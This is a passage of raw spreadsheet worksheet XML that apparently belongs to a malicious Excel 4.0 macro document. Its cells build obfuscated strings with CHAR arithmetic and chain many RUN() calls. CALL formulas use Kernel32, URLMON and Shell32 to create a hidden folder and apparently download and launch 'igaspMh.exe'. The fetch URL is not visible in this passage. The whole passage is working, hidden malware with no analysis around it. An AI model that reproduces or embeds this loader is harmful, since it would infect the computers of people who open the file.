r="BP817"><v>20</v></c></row><row r="822" spans="17:221" x14ac:dyDescent="0.25"><c r="GA822"><v>1025</v></c></row><row r="823" spans="17:221" x14ac:dyDescent="0.25"><c r="GR823"><v>28</v></c></row><row r="826" spans="17:221" x14ac:dyDescent="0.25"><c r="DI826" t="str"><f>CHAR($AL$1195-826)</f><v>e</v></c><c r="HM826"><v>989</v></c></row><row r="828" spans="17:221" x14ac:dyDescent="0.25"><c r="DV828"><v>19</v></c></row><row r="831" spans="17:221" x14ac:dyDescent="0.25"><c r="EV831"><v>567</v></c></row><row r="832" spans="17:221" x14ac:dyDescent="0.25"><c r="Q832"><v>73</v></c><c r="EG832" t="b"><f>RUN($EB$939)</f><v>0</v></c></row><row r="833" spans="18:241" x14ac:dyDescent="0.25"><c r="IG833" t="str"><f>CHAR($EB$457-506)</f><v>\</v></c></row><row r="837" spans="18:241" x14ac:dyDescent="0.25"><c r="R837"><v>1014</v></c></row><row r="843" spans="18:241" x14ac:dyDescent="0.25"><c r="EY843"><v>1014</v></c></row><row r="847" spans="18:241" x14ac:dyDescent="0.25"><c r="GV847"><v>923</v></c></row><row r="854" spans="48:227" x14ac:dyDescent="0.25"><c r="CN854" t="str"><f>CHAR($CW$1661-913)</f><v>l</v></c></row><row r="858" spans="48:227" x14ac:dyDescent="0.25"><c r="CP858" t="b"><f>RUN($EY$509)</f><v>0</v></c></row><row r="860" spans="48:227" x14ac:dyDescent="0.25"><c r="FY860"><v>992</v></c><c r="GQ860" t="b"><f>RUN($II$1064)</f><v>0</v></c></row><row r="861" spans="48:227" x14ac:dyDescent="0.25"><c r="HS861"><v>876</v></c></row><row r="863" spans="48:227" x14ac:dyDescent="0.25"><c r="AV863"><v>28</v></c></row><row r="868" spans="4:241" x14ac:dyDescent="0.25"><c r="D868"><v>875</v></c></row><row r="869" spans="4:241" x14ac:dyDescent="0.25"><c r="AG869"><v>19</v></c></row><row r="871" spans="4:241" x14ac:dyDescent="0.25"><c r="DX871" t="b"><f>RUN($FF$1554)</f><v>0</v></c></row><row r="872" spans="4:241" x14ac:dyDescent="0.25"><c r="CE872"><v>871</v></c></row><row r="875" spans="4:241" x14ac:dyDescent="0.25"><c r="IG875"><v>1014</v></c></row><row r="882" spans="10:200" x14ac:dyDescent="0.25"><c r="GR882"><v>591</v></c></row><row r="883" spans="10:200" x14ac:dyDescent="0.25"><c r="AR883"><v>881</v></c><c r="DT883"><v>92</v></c></row><row r="887" spans="10:200" x14ac:dyDescent="0.25"><c r="J887" t="str"><f>CHAR($FU$1931-506)</f><v>B</v></c></row><row r="888" spans="10:200" x14ac:dyDescent="0.25"><c r="CN888" t="str"><f>CHAR($FY$860-913)</f><v>O</v></c></row><row r="897" spans="127:213" x14ac:dyDescent="0.25"><c r="HE897"><v>76</v></c></row><row r="907" spans="127:213" x14ac:dyDescent="0.25"><c r="EH907"><v>32</v></c></row><row r="912" spans="127:213" x14ac:dyDescent="0.25"><c r="DW912"><v>52</v></c></row><row r="917" spans="42:171" x14ac:dyDescent="0.25"><c r="BQ917" t="b"><f>RUN($Z$1111)</f><v>0</v></c></row><row r="924" spans="42:171" x14ac:dyDescent="0.25"><c r="AP924"><v>13</v></c><c r="FO924"><v>65</v></c></row><row r="926" spans="42:171" x14ac:dyDescent="0.25"><c r="DC926" t="b"><f>RUN($HZ$1534)</f><v>0</v></c></row><row r="927" spans="42:171" x14ac:dyDescent="0.25"><c r="AR927" t="b"><f>RUN($CJ$611)</f><v>0</v></c></row><row r="930" spans="2:240" x14ac:dyDescent="0.25"><c r="FY930"><v>998</v></c></row><row r="933" spans="2:240" x14ac:dyDescent="0.25"><c r="BC933" t="str"><f>CHAR($DL$587-506)</f><v>\</v></c></row><row r="936" spans="2:240" x14ac:dyDescent="0.25"><c r="B936" t="str"><f>CHAR($BR$1314-826)</f><v>c</v></c></row><row r="939" spans="2:240" x14ac:dyDescent="0.25"><c r="EB939" t="b"><f>RUN($AM$707)</f><v>0</v></c></row><row r="944" spans="2:240" x14ac:dyDescent="0.25"><c r="IF944" t="str"><f>CONCATENATE($HB$1178,$O$249,$CL$354,$GT$1303,$K$1248,$E$1414,$U$80,$EL$1096,$CH$1133,$DH$151,$BG$587,$GL$1169,$Y$379,$GD$1910,$BG$1349,$F$1481)</f><v>CreateDirectoryA</v></c></row><row r="953" spans="115:214" x14ac:dyDescent="0.25"><c r="DK953"><v>579</v></c></row><row r="960" spans="115:214" x14ac:dyDescent="0.25"><c r="HF960"><v>40</v></c></row><row r="965" spans="61:216" x14ac:dyDescent="0.25"><c r="BI965"><v>981</v></c></row><row r="966" spans="61:216" x14ac:dyDescent="0.25"><c r="HH966"><v>88</v></c></row><row r="978" spans="40:183" x14ac:dyDescent="0.25"><c r="FS978"><v>33</v></c><c r="GA978"><v>63</v></c></row><row r="982" spans="40:183" x14ac:dyDescent="0.25"><c r="AN982"><v>23</v></c></row><row r="988" spans="40:183" x14ac:dyDescent="0.25"><c r="CS988" t="b"><f>RUN($EG$832)</f><v>0</v></c></row><row r="989" spans="40:183" x14ac:dyDescent="0.25"><c r="BS989"><v>88</v></c></row><row r="997" spans="79:238" x14ac:dyDescent="0.25"><c r="EO997" t="str"><f>CHAR($BV$1340-506)</f><v>J</v></c></row><row r="998" spans="79:238" x14ac:dyDescent="0.25"><c r="CA998" t="b"><f>RUN($BP$1833)</f><v>0</v></c></row><row r="1001" spans="79:238" x14ac:dyDescent="0.25"><c r="FM1001" t="str"><f>CHAR($A$16-913)</f><v>d</v></c><c r="ID1001" t="str"><f>CHAR($HS$861-826)</f><v>2</v></c></row><row r="1005" spans="79:238" x14ac:dyDescent="0.25"><c r="DL1005" t="str"><f>CHAR($FJ$371-913)</f><v>l</v></c></row><row r="1010" spans="32:183" x14ac:dyDescent="0.25"><c r="EV1010"><v>573</v></c></row><row r="1013" spans="32:183" x14ac:dyDescent="0.25"><c r="GA1013"><v>1024</v></c></row><row r="1014" spans="32:183" x14ac:dyDescent="0.25"><c r="EL1014"><v>544</v></c></row><row r="1020" spans="32:183" x14ac:dyDescent="0.25"><c r="BI1020" t="str"><f>CHAR($HM$1938-459)</f><v>l</v></c></row><row r="1021" spans="32:183" x14ac:dyDescent="0.25"><c r="AF1021"><v>21</v></c></row><row r="1028" spans="135:139" x14ac:dyDescent="0.25"><c r="EI1028"><v>36</v></c></row><row r="1033" spans="135:139" x14ac:dyDescent="0.25"><c r="EE1033" t="str"><f>CHAR($BQ$1288-826)</f><v>/</v></c></row><row r="1041" spans="2:199" x14ac:dyDescent="0.25"><c r="GQ1041"><v>15</v></c></row><row r="1043" spans="2:199" x14ac:dyDescent="0.25"><c r="CS1043" t="str"><f>CHAR($BX$1978-506)</f><v>p</v></c></row><row r="1050" spans="2:199" x14ac:dyDescent="0.25"><c r="BZ1050" t="b"><f>RUN($HD$175)</f><v>0</v></c></row><row r="1052" spans="2:199" x14ac:dyDescent="0.25"><c r="B1052"><v>11</v></c></row><row r="1055" spans="2:199" x14ac:dyDescent="0.25"><c r="X1055" t="b"><f>RUN($CG$1609)</f><v>0</v></c><c r="EA1055"><v>25</v></c></row><row r="1064" spans="7:243" x14ac:dyDescent="0.25"><c r="I1064"><v>1029</v></c><c r="FG1064" t="b"><f>RUN($HC$212)</f><v>0</v></c><c r="II1064" t="b"><f>RUN($HZ$1210)</f><v>0</v></c></row><row r="1065" spans="7:243" x14ac:dyDescent="0.25"><c r="DZ1065" t="str"><f>CHAR($BU$42-459)</f><v>r</v></c></row><row r="1066" spans="7:243" x14ac:dyDescent="0.25"><c r="BP1066"><v>5</v></c><c r="DX1066" t="b"><f>RUN($G$1068)</f><v>0</v></c></row><row r="1068" spans="7:243" x14ac:dyDescent="0.25"><c r="G1068" t="b"><f>RUN($BZ$1050)</f><v>0</v></c></row><row r="1069" spans="7:243" x14ac:dyDescent="0.25"><c r="FF1069" t="b"><f>RUN($GQ$1404)</f><v>0</v></c></row><row r="1073" spans="22:224" x14ac:dyDescent="0.25"><c r="AJ1073" t="str"><f>CHAR($D$868-826)</f><v>1</v></c></row><row r="1077" spans="22:224" x14ac:dyDescent="0.25"><c r="EA1077"><v>51</v></c></row><row r="1078" spans="22:224" x14ac:dyDescent="0.25"><c r="V1078" t="b"><f>RUN($G$175)</f><v>0</v></c></row><row r="1087" spans="22:224" x14ac:dyDescent="0.25"><c r="HP1087" t="b"><f>RUN($P$773)</f><v>0</v></c></row><row r="1089" spans="33:189" x14ac:dyDescent="0.25"><c r="BH1089"><v>942</v></c><c r="DM1089" t="b"><f>RUN($CB$648)</f><v>0</v></c><c r="EW1089"><v>16</v></c></row><row r="1091" spans="33:189" x14ac:dyDescent="0.25"><c r="CG1091"><v>927</v></c></row><row r="1096" spans="33:189" x14ac:dyDescent="0.25"><c r="EL1096" t="str"><f>CHAR($HH$152-913)</f><v>i</v></c></row><row r="1097" spans="33:189" x14ac:dyDescent="0.25"><c r="EW1097"><v>20</v></c></row><row r="1098" spans="33:189" x14ac:dyDescent="0.25"><c r="AG1098"><v>97</v></c></row><row r="1100" spans="33:189" x14ac:dyDescent="0.25"><c r="FA1100" t="str"><f>CHAR($DH$1848-826)</f><v>m</v></c></row><row r="1102" spans="33:189" x14ac:dyDescent="0.25"><c r="AK1102" t="b"><f>RUN($DK$1117)</f><v>0</v></c></row><row r="1103" spans="33:189" x14ac:dyDescent="0.25"><c r="GG1103" t="b"><f>RUN($IH$1508)</f><v>0</v></c></row><row r="1110" spans="26:203" x14ac:dyDescent="0.25"><c r="AU1110" t="str"><f>CHAR($AK$1560-826)</f><v>h</v></c></row><row r="1111" spans="26:203" x14ac:dyDescent="0.25"><c r="Z1111" t="b"><f>RUN($B$345)</f><v>0</v></c></row><row r="1113" spans="26:203" x14ac:dyDescent="0.25"><c r="GU1113" t="str"><f>CHAR($AU$147-506)</f><v>e</v></c></row><row r="1114" spans="26:203" x14ac:dyDescent="0.25"><c r="BL1114"><v>936</v></c></row><row r="1117" spans="26:203" x14ac:dyDescent="0.25"><c r="DK1117" t="b"><f>RUN($FH$307)</f><v>0</v></c></row><row r="1118" spans="26:203" x14ac:dyDescent="0.25"><c r="DW1118" t="str"><f>CHAR($IG$875-913)</f><v>e</v></c></row><row r="1122" spans="86:243" x14ac:dyDescent="0.25"><c r="FZ1122" t="b"><f>RUN($DY$487)</f><v>0</v></c></row><row r="1123" spans="86:243" x14ac:dyDescent="0.25"><c r="II1123"><v>552</v></c></row><row r="1133" spans="86:243" x14ac:dyDescent="0.25"><c r="CH1133" t="str"><f>CHAR($FF$157-913)</f><v>r</v></c></row><row r="1134" spans="86:243" x14ac:dyDescent="0.25"><c r="ID1134" t="b"><f>RUN($BP$683)</f><v>0</v></c></row><row r="1138" spans="120:120" x14ac:dyDescent="0.25"><c r="DP1138" t="str"><f>CHAR($BL$522-826)</f><v>:</v></c></row><row r="1155" spans="18:212" x14ac:dyDescent="0.25"><c r="HD1155"><v>937</v></c></row><row r="1156" spans="18:212" x14ac:dyDescent="0.25"><c r="DA1156" t="str"><f>CHAR($FT$766-913)</f><v>A</v></c></row><row r="1158" spans="18:212" x14ac:dyDescent="0.25"><c r="U1158"><v>876</v></c></row><row r="1160" spans="18:212" x14ac:dyDescent="0.25"><c r="CN1160"><v>0</v></c></row><row r="1162" spans="18:212" x14ac:dyDescent="0.25"><c r="R1162"><v>14</v></c></row><row r="1163" spans="18:212" x14ac:dyDescent="0.25"><c r="GQ1163" t="str"><f>CHAR($FG$98-913)</f><v>F</v></c></row><row r="1167" spans="18:212" x14ac:dyDescent="0.25"><c r="DH1167" t="str"><f>CHAR($AO$1707-913)</f><v>A</v></c></row><row r="1169" spans="27:218" x14ac:dyDescent="0.25"><c r="GL1169" t="str"><f>CHAR($I$1064-913)</f><v>t</v></c></row><row r="1171" spans="27:218" x14ac:dyDescent="0.25"><c r="GC1171" t="str"><f>CHAR($AX$267-913)</f><v>n</v></c></row><row r="1172" spans="27:218" x14ac:dyDescent="0.25"><c r="AS1172"><v>4</v></c></row><row r="1173" spans="27:218" x14ac:dyDescent="0.25"><c r="HJ1173"><v>85</v></c></row><row r="1176" spans="27:218" x14ac:dyDescent="0.25"><c r="AA1176" t="str"><f>CHAR($CQ$1605-913)</f><v>e</v></c></row><row r="1177" spans="27:218" x14ac:dyDescent="0.25"><c r="CO1177"><v>8</v></c></row><row r="1178" spans="27:218" x14ac:dyDescent="0.25"><c r="HB1178" t="str"><f>CHAR($EZ$1894-913)</f><v>C</v></c></row><row r="1186" spans="2:232" x14ac:dyDescent="0.25"><c r="HX1186"><v>578</v></c></row><row r="1187" spans="2:232" x14ac:dyDescent="0.25"><c r="EB1187"><v>96</v></c></row><row r="1188" spans="2:232" x14ac:dyDescent="0.25"><c r="DC1188"><v>938</v></c></row><row r="1190" spans="2:232" x14ac:dyDescent="0.25"><c r="HA1190"><v>7</v></c></row><row r="1191" spans="2:232" x14ac:dyDescent="0.25"><c r="BF1191" t="b"><f>RUN($CY$1579)</f><v>0</v></c></row><row r="1195" spans="2:232" x14ac:dyDescent="0.25"><c r="F1195"><v>978</v></c><c r="AL1195"><v>927</v></c></row><row r="1199" spans="2:232" x14ac:dyDescent="0.25"><c r="DC1199" t="str"><f>CHAR($AK$1294-506)</f><v>M</v></c><c r="HF1199"><v>26</v></c></row><row r="1200" spans="2:232" x14ac:dyDescent="0.25"><c r="B1200" t="str"><f>CHAR($BG$96-459)</f><v>S</v></c><c r="CV1200"><v>30</v></c></row><row r="1203" spans="4:234" x14ac:dyDescent="0.25"><c r="D1203" t="b"><f>RUN($DX$871)</f><v>0</v></c></row><row r="1205" spans="4:234" x14ac:dyDescent="0.25"><c r="AE1205" t="b"><f>RUN($Y$68)</f><v>0</v></c><c r="GF1205"><v>612</v></c><c r="HV1205" t="str"><f>CHAR($I$686-913)</f><v>E</v></c></row><row r="1210" spans="4:234" x14ac:dyDescent="0.25"><c r="HZ1210" t="b"><f>RUN($X$1055)</f><v>0</v></c></row><row r="1212" spans="4:234" x14ac:dyDescent="0.25"><c r="EZ1212"><v>877</v></c></row><row r="1218" spans="99:242" x14ac:dyDescent="0.25"><c r="CU1218"><v>1012</v></c></row><row r="1222" spans="99:242" x14ac:dyDescent="0.25"><c r="IH1222" t="str"><f>CHAR($ED$677-826)</f><v>d</v></c></row><row r="1224" spans="99:242" x14ac:dyDescent="0.25"><c r="DX1224"><v>879</v></c></row><row r="1225" spans="99:242" x14ac:dyDescent="0.25"><c r="CX1225" t="b"><f>RUN($BP$620)</f><v>0</v></c></row><row r="1237" spans="6:132" x14ac:dyDescent="0.25"><c r="F1237" t="b"><f>RUN($S$674)</f><v>0</v></c><c r="AL1237" t="str"><f>CHAR($HC$503-913)</f><v>x</v></c></row><row r="1240" spans="6:132" x14ac:dyDescent="0.25"><c r="EB1240" t="b"><f>CALL($IO$1271,$AH$809,"JCJ","C:\HMJUXmI",0)</f><v>0</v></c></row><row r="1241" spans="6:132" x14ac:dyDescent="0.25"><c r="EB1241" t="b"><f>CALL($IO$1271,$AH$809,"JCJ","C:\HMJUXmI\JScXBQj",0)</f><v>0</v></c></row><row r="1242" spans="6:132" x14ac:dyDescent="0.25"><c r="EB1242" t="b"><f>CALL($EX$1395,$HK$304, "JJCCJJ",0,$BB$54,$B$1516,0,0)</f><v>0</v></c></row><row r="1243" spans="6:132" x14ac:dyDescent="0.25"><c r="EB1243" t="b"><f>CALL($DR$417,$AC$567, "JJCCCCJ",0,$HJ$254,$B$1516,,0,0)</f><v>0</v></c></row><row r="1244" spans="6:132" x14ac:dyDescent="0.25"><c r="DZ1244" t="b"><f>RUN($GP$1755)</f><v>0</v></c></row><row r="1248" spans="6:132" x14ac:dyDescent="0.25"><c r="K1248" t="str"><f>CHAR($HH$210-913)</f><v>t</v></c><c r="EB1248" t="b"><f>HALT()</f><v>0</v></c></row><row r="1253" spans="136:171" x14ac:dyDescent="0.25"><c r="FO1253" t="b"><f>RUN($CP$858)</f><v>0</v></c></row><row r="1254" spans="136:171" x14ac:dyDescent="0.25"><c r="EF1254" t="str"><f>CHAR($CS$189-913)</f><v>u</v></c></row><row r="1271" spans="31:249" x14ac:dyDescent="0.25"><c r="IO1271" t="str"><f>CONCATENATE($BW$1766)</f><v>Kernel32</v></c></row><row r="1277" spans="31:249" x14ac:dyDescent="0.25"><c r="AE1277"><v>18</v></c><c r="AR1277"><v>1027</v></c></row><row r="1279" spans="31:249" x14ac:dyDescent="0.25"><c r="GJ1279" t="b"><f>RUN($HD$648)</f><v>0</v></c></row><row r="1288" spans="16:69" x14ac:dyDescent="0.25"><c r="BQ1288"><v>873</v></c></row><row r="1289" spans="16:69" x14ac:dyDescent="0.25"><c r="P1289" t="b"><f>RUN($H$376)</f><v>0</v></c></row><row r="1294" spans="16:69" x14ac:dyDescent="0.25"><c r="S1294"><v>896</v></c><c r="AI1294" t="b"><f>RUN($AE$199)</f><v>0</v></c><c r="AK1294"><v>583</v></c></row><row r="1301" spans="88:207" x14ac:dyDescent="0.25"><c r="FW1301" t="b"><f>RUN($BA$798)</f><v>0</v></c><c r="GY1301"><v>86</v></c></row><row r="1303" spans="88:207" x14ac:dyDescent="0.25"><c r="GT1303" t="str"><f>CHAR($FP$724-913)</f><v>a</v></c></row><row r="1304" spans="88:207" x14ac:dyDescent="0.25"><c r="CJ1304" t="str"><f>CHAR($HP$1761-506)</f><v>\</v></c></row><row r="1314" spans="2:188" x14ac:dyDescent="0.25"><c r="BR1314"><v>925</v></c></row><row r="1315" spans="2:188" x14ac:dyDescent="0.25"><c r="BO1315" t="str"><f>CHAR($EV$1010-506)</f><v>C</v></c></row><row r="1316" spans="2:188" x14ac:dyDescent="0.25"><c r="FF1316" t="str"><f>CHAR($GV$786-826)</f><v>g</v></c></row><row r="1317" spans="2:188" x14ac:dyDescent="0.25"><c r="EZ1317" t="b"><f>RUN($EF$1410)</f><v>0</v></c></row><row r="1321" spans="2:188" x14ac:dyDescent="0.25"><c r="GF1321" t="b"><f>RUN($AY$1787)</f><v>0</v></c></row><row r="1323" spans="2:188" x14ac:dyDescent="0.25"><c r="B1323" t="str"><f>CHAR($CX$782-506)</f><v>c</v></c><c r="DG1323"><v>1024</v></c></row><row r="1329" spans="74:152" x14ac:dyDescent="0.25"><c r="CV1329" t="b"><f>RUN($GT$1591)</f><v>0</v></c></row><row r="1340" spans="74:152" x14ac:dyDescent="0.25"><c r="BV1340"><v>580</v></c><c r="EV1340"><v>940</v></c></row><row r="1345" spans="51:74" x14ac:dyDescent="0.25"><c r="AY1345" t="b"><f>RUN($F$608)</f><v>0</v></c></row><row r="1349" spans="51:74" x14ac:dyDescent="0.25"><c r="BG1349" t="str"><f>CHAR($FK$1869-913)</f><v>y</v></c></row><row r="1359" spans="51:74" x14ac:dyDescent="0.25"><c r="BV1359" t="b"><f>RUN($EZ$1317)</f><v>0</v></c></row><row r="1367" spans="42:224" x14ac:dyDescent="0.25"><c r="AP1367"><v>6</v></c></row><row r="1374" spans="42:224" x14ac:dyDescent="0.25"><c r="HP1374"><v>22</v></c></row><row r="1385" spans="67:74" x14ac:dyDescent="0.25"><c r="BV1385" t="b"><f>RUN($P$1289)</f><v>0</v></c></row><row r="1388" spans="67:74" x14ac:dyDescent="0.25"><c r="BO1388"><v>560</v></c></row><row r="1395" spans="130:232" x14ac:dyDescent="0.25"><c r="EX1395" t="str"><f>CONCATENATE($HG$474)</f><v>URLMON</v></c><c r="HJ1395"><v>19</v></c></row><row r="1398" spans="130:232" x14ac:dyDescent="0.25"><c r="EQ1398" t="str"><f>CHAR($HX$701-459)</f><v>L</v></c></row><row r="1399" spans="130:232" x14ac:dyDescent="0.25"><c r="HX1399"><v>3</v></c></row><row r="1404" spans="130:232" x14ac:dyDescent="0.25"><c r="GQ1404" t="b"><f>RUN($IN$1643)</f><v>0</v></c></row><row r="1407" spans="130:232" x14ac:dyDescent="0.25"><c r="DZ1407"><v>1</v></c></row><row r="1410" spans="5:219" x14ac:dyDescent="0.25"><c r="EF1410" t="b"><f>RUN($AR$927)</f><v>0</v></c><c r="HD1410" t="str"><f>CHAR($CD$625-506)</f><v>a</v></c></row><row r="1414" spans="5:219" x14ac:dyDescent="0.25"><c r="E1414" t="str"><f>CHAR($AE$1538-913)</f><v>e</v></c></row><row r="1419" spans="5:219" x14ac:dyDescent="0.25"><c r="HK1419"><v>88</v></c></row><row r="1437" spans="164:207" x14ac:dyDescent="0.25"><c r="FH1437"><v>1014</v></c></row><row r="1440" spans="164:207" x14ac:dyDescent="0.25"><c r="GY1440" t="str"><f>CONCATENATE($B$1200,$DN$594,$AR$657,$BI$1020,$GX$659,$EH$1643,$HW$572)</f><v>Shell32</v></c></row><row r="1449" spans="27:234" x14ac:dyDescent="0.25"><c r="DT1449"><v>1021</v></c></row><row r="1450" spans="27:234" x14ac:dyDescent="0.25"><c r="HZ1450"><v>89</v></c></row><row r="1454" spans="27:234" x14ac:dyDescent="0.25"><c r="AA1454" t="str"><f>CHAR($IL$1530-826)</f><v>o</v></c></row><row r="1457" spans="113:229" x14ac:dyDescent="0.25"><c r="DO1457" t="str"><f>CHAR($R$349-826)</f><v>e</v></c></row><row r="1458" spans="113:229" x14ac:dyDescent="0.25"><c r="DI1458"><v>589</v></c></row><row r="1461" spans="113:229" x14ac:dyDescent="0.25"><c r="HE1461"><v>536</v></c></row><row r="1465" spans="113:229" x14ac:dyDescent="0.25"><c r="DO1465"><v>91</v></c></row><row r="1467" spans="113:229" x14ac:dyDescent="0.25"><c r="HU1467" t="str"><f>CHAR($BL$1114-826)</f><v>n</v></c></row><row r="1474" spans="1:182" x14ac:dyDescent="0.25"><c r="A1474"><v>37</v></c></row><row r="1477" spans="1:182" x14ac:dyDescent="0.25"><c r="FZ1477"><v>3</v></c></row><row r="1480" spans="1:182" x14ac:dyDescent="0.25"><c r="W1480"><v>567</v></c></row><row r="1481" spans="1:182" x14ac:dyDescent="0.25"><c r="F1481" t="str"><f>CHAR($F$1195-913)</f><v>A</v></c></row><row r="1483" spans="1:182" x14ac:dyDescent="0.25"><c r="EE1483" t="b"><f>RUN($DE$1763)</f><v>0</v></c></row><row r="1487" spans="1:182" x14ac:dyDescent="0.25"><c r="FR1487"><v>72</v></c></row><row r="1492" spans="3:3" x14ac:dyDescent="0.25"><c r="C1492"><v>18</v></c></row><row r="1505" spans="2:242" x14ac:dyDescent="0.25"><c r="AX1505" t="str"><f>CHAR($FV$1914-913)</f><v>a</v></c></row><row r="1508" spans="2:242" x14ac:dyDescent="0.25"><c r="IH1508" t="b"><f>RUN($GJ$20)</f><v>0</v></c></row><row r="1515" spans="2:242" x14ac:dyDescent="0.25"><c r="BG1515"><v>96</v></c></row><row r="1516" spans="2:242" x14ac:dyDescent="0.25"><c r="B1516" t="str"><f>CONCATENATE($BN$1973,$DK$1970)</f><v>C:\HMJUXmI\JScXBQj\igaspMh.exe</v></c></row><row r="1517" spans="2:242" x14ac:dyDescent="0.25"><c r="AP1517" t="str"><f>CHAR($DI$1458-506)</f><v>S</v></c></row><row r="1526" spans="138:246" x14ac:dyDescent="0.25"><c r="EO1526" t="str"><f>CHAR($T$222-459)</f><v>O</v></c></row><row r="1530" spans="138:246" x14ac:dyDescent="0.25"><c r="IL1530"><v>937</v></c></row><row r="1534" spans="138:246" x14ac:dyDescent="0.25"><c r="HZ1534" t="b"><f>RUN($ID$1134)</f><v>0</v></c></row><row r="1535" spans="138:246" x14ac:dyDescent="0.25"><c r="EH1535"><v>981</v></c></row><row r="1536" spans="138:246" x14ac:dyDescent="0.25"><c r="GB1536" t="b"><f>RUN($CU$105)</f><v>0</v></c></row><row r="1538" spans="13:219" x14ac:dyDescent="0.25"><c r="AE1538"><v>1014</v></c></row><row r="1542" spans="13:219" x14ac:dyDescent="0.25"><c r="FQ1542" t="str"><f>CHAR($II$1123-506)</f><v>.</v></c></row><row r="1544" spans="13:219" x14ac:dyDescent="0.25"><c r="HK1544" t="str"><f>CHAR($ED$553-506)</f><v>M</v></c></row><row r="1548" spans="13:219" x14ac:dyDescent="0.25"><c r="M1548" t="b"><f>RUN($GG$1103)</f><v>0</v></c></row><row r="1549" spans="13:219" x14ac:dyDescent="0.25"><c r="M1549"><v>73</v></c></row><row r="1550" spans="13:219" x14ac:dyDescent="0.25"><c r="AF1550"><v>1024</v></c></row><row r="1551" spans="13:219" x14ac:dyDescent="0.25"><c r="U1551"><v>55</v></c><c r="BI1551"><v>42</v></c></row><row r="1552" spans="13:219" x14ac:dyDescent="0.25"><c r="AG1552"><v>927</v></c></row><row r="1553" spans="37:181" x14ac:dyDescent="0.25"><c r="FT1553"><v>59</v></c></row><row r="1554" spans="37:181" x14ac:dyDescent="0.25"><c r="FF1554" t="b"><f>RUN($BN$420)</f><v>0</v></c></row><row r="1556" spans="37:181" x14ac:dyDescent="0.25"><c r="FY1556" t="b"><f>RUN($BV$1359)</f><v>0</v></c></row><row r="1560" spans="37:181" x14ac:dyDescent="0.25"><c r="AK1560"><v>930</v></c></row><row r="1565" spans="37:181" x14ac:dyDescent="0.25"><c r="EO1565"><v>580</v></c></row><row r="1567" spans="37:181" x14ac:dyDescent="0.25"><c r="CD1567" t="str"><f>CHAR($EV$831-459)</f><v>l</v></c><c r="FJ1567"><v>11</v></c></row><row r="1579" spans="27:217" x14ac:dyDescent="0.25"><c r="AA1579"><v>68</v></c><c r="CY1579" t="b"><f>RUN($CS$988)</f><v>0</v></c></row><row r="1580" spans="27:217" x14ac:dyDescent="0.25"><c r="HI1580"><v>510</v></c></row><row r="1581" spans="27:217" x14ac:dyDescent="0.25"><c r="FG1581"><v>41</v></c></row><row r="1588" spans="51:210" x14ac:dyDescent="0.25"><c r="AY1588" t="b"><f>RUN($GJ$1279)</f><v>0</v></c></row><row r="1591" spans="51:210" x14ac:dyDescent="0.25"><c r="GT1591" t="b"><f>RUN($C$556)</f><v>0</v></c></row><row r="1592" spans="51:210" x14ac:dyDescent="0.25"><c r="DF1592"><v>510</v></c></row><row r="1593" spans="51:210" x14ac:dyDescent="0.25"><c r="DA1593"><v>935</v></c></row><row r="1594" spans="51:210" x14ac:dyDescent="0.25"><c r="CU1594" t="b"><f>RUN($CV$1329)</f><v>0</v></c><c r="CW1594"><v>3</v></c></row><row r="1595" spans="51:210" x14ac:dyDescent="0.25"><c r="EC1595" t="b"><f>RUN($EE$1483)</f><v>0</v></c></row><row r="1599" spans="51:210" x14ac:dyDescent="0.25"><c r="HB1599" t="str"><f>CHAR($IL$547-826)</f><v>.</v></c></row><row r="1605" spans="67:224" x14ac:dyDescent="0.25"><c r="BO1605" t="str"><f>CHAR($EI$302-826)</f><v>9</v></c><c r="CQ1605"><v>1014</v></c></row><row r="1607" spans="67:224" x14ac:dyDescent="0.25"><c r="EH1607"><v>53</v></c></row><row r="1609" spans="67:224" x14ac:dyDescent="0.25"><c r="CG1609" t="b"><f>RUN($IF$171)</f><v>0</v></c></row><row r="1612" spans="67:224" x14ac:dyDescent="0.25"><c r="HP1612"><v>95</v></c></row><row r="1614" spans="67:224" x14ac:dyDescent="0.25"><c r="HK1614"><v>560</v></c></row><row r="1617" spans="14:184" x14ac:dyDescent="0.25"><c r="AZ1617"><v>1017</v></c></row><row r="1619" spans="14:184" x14ac:dyDescent="0.25"><c r="GB1619"><v>69</v></c></row><row r="1620" spans="14:184" x14ac:dyDescent="0.25"><c r="BS1620"><v>19</v></c></row><row r="1621" spans="14:184" x14ac:dyDescent="0.25"><c r="AM1621" t="b"><f>RUN($AP$767)</f><v>0</v></c></row><row r="1629" spans="14:184" x14ac:dyDescent="0.25"><c r="N1629" t="b"><f>RUN($AD$247)</f><v>0</v></c></row><row r="1631" spans="14:184" x14ac:dyDescent="0.25"><c r="AR1631"><v>64</v></c></row><row r="1634" spans="5:249" x14ac:dyDescent="0.25"><c r="CR1634"><v>33</v></c></row><row r="1637" spans="5:249" x14ac:dyDescent="0.25"><c r="E1637"><v>96</v></c><c r="DM1637"><v>6</v></c></row><row r="1640" spans="5:249" x14ac:dyDescent="0.25"><c r="IO1640" t="str"><f>CHAR($HX$1186-506)</f><v>H</v></c></row><row r="1641" spans="5:249" x14ac:dyDescent="0.25"><c r="BP1641" t="str"><f>CHAR($EN$1725-826)</f><v>4</v></c></row><row r="1643" spans="5:249" x14ac:dyDescent="0.25"><c r="EH1643" t="str"><f>CHAR($HI$1580-459)</f><v>3</v></c><c r="IN1643" t="b"><f>RUN($CE$771)</f><v>0</v></c></row><row r="1644" spans="5:249" x14ac:dyDescent="0.25"><c r="BK1644"><v>92</v></c></row><row r="1645" spans="5:249" x14ac:dyDescent="0.25"><c r="AG1645" t="str"><f>CHAR($HA$1965-506)</f><v>Q</v></c></row><row r="1649" spans="13:180" x14ac:dyDescent="0.25"><c r="M1649"><v>69</v></c></row><row r="1650" spans="13:180" x14ac:dyDescent="0.25"><c r="BO1650"><v>607</v></c></row><row r="1655" spans="13:180" x14ac:dyDescent="0.25"><c r="FX1655"><v>1024</v></c></row><row r="1658" spans="13:180" x14ac:dyDescent="0.25"><c r="CG1658" t="b"><f>RUN($DS$187)</f><v>0</v></c></row><row r="1661" spans="13:180" x14ac:dyDescent="0.25"><c r="CW1661"><v>1021</v></c></row><row r="1673" spans="51:207" x14ac:dyDescent="0.25"><c r="DB1673" t="str"><f>CHAR($FH$1437-913)</f><v>e</v></c></row><row r="1674" spans="51:207" x14ac:dyDescent="0.25"><c r="AY1674"><v>594</v></c></row><row r="1675" spans="51:207" x14ac:dyDescent="0.25"><c r="GY1675" t="str"><f>CHAR($GO$1942-913)</f><v>T</v></c></row><row r="1676" spans="51:207" x14ac:dyDescent="0.25"><c r="EN1676"><v>86</v></c></row><row r="1679" spans="51:207" x14ac:dyDescent="0.25"><c r="FI1679" 